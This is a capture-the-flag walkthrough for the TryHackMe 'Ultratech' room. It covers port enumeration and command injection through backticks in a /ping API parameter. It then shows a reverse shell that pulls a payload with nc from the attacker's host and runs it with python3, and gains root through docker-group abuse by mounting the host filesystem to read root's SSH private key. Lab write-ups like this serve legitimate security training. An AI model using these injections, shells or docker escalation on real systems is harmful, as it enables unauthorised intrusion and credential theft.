bondjames

View on GitHub

TryHackMe — Ultratech — Walkthrough

Walkthrough for the Ultratech room.


Enumeration

Start with a port scan (nmap). Results found during enumeration:

21      : FTP
22      : SSH
8081    : Node.js Backend (REST API)
31331   : Apache Web Server

Conclusions:

Directory listing was enabled on Apache, can be verified by visiting the /images endpoint. On visiting the /js endpoint we find the api.js file which shows that the webserver uses 2 api endpoints (/auth and /ping).


Task 2 — Quick Answers


Task 3 — Command Injection and Reverse Shell

The /ping endpoint executes the system ping with the provided IP parameter. This allows command substitution.

Verifying command substitution

Example: trigger command substitution via backticks

http://<IP>:8081/ping?ip=`ls`

The response returned the ls output, confirming command execution.

Getting a reverse shell (one approach)

  1. Create a payload on the target using nc:

    http://<IP>:8081/ping?ip=`nc $YOUR_IP $YOUR_PORT > payload`
    
  2. On your machine, listen for a connection:

    nc -lnvp <YOUR_PORT>
    
  3. Once the connection is received, write or paste the payload into the connection (or transfer the payload file). You can find one at revshells.com.

  4. Execute the payload on the target:

    http://<IP>:8081/ping?ip=`python3 payload`
    
  5. You should receive a shell.


Database and Credentials

A database file was discovered on the API host at /home/www/api.


Task 4 — Privilege Escalation (Docker Group)

After obtaining user shell and checking sudo -l, sudo was not available for privilege escalation. However, the user r00t is a member of the docker group.

Docker abuse to become root

If you have access to run Docker (membership of docker group), you can mount the host filesystem inside a container and get a root shell:

docker container run --rm -it -v /:/app bash

This mounts the host (/) into /app inside the container and gives an interactive shell with root privileges (because Docker daemon runs as root).

Once inside, navigate to /root/.ssh/id_rsa and copy the first 9 characters of the private key.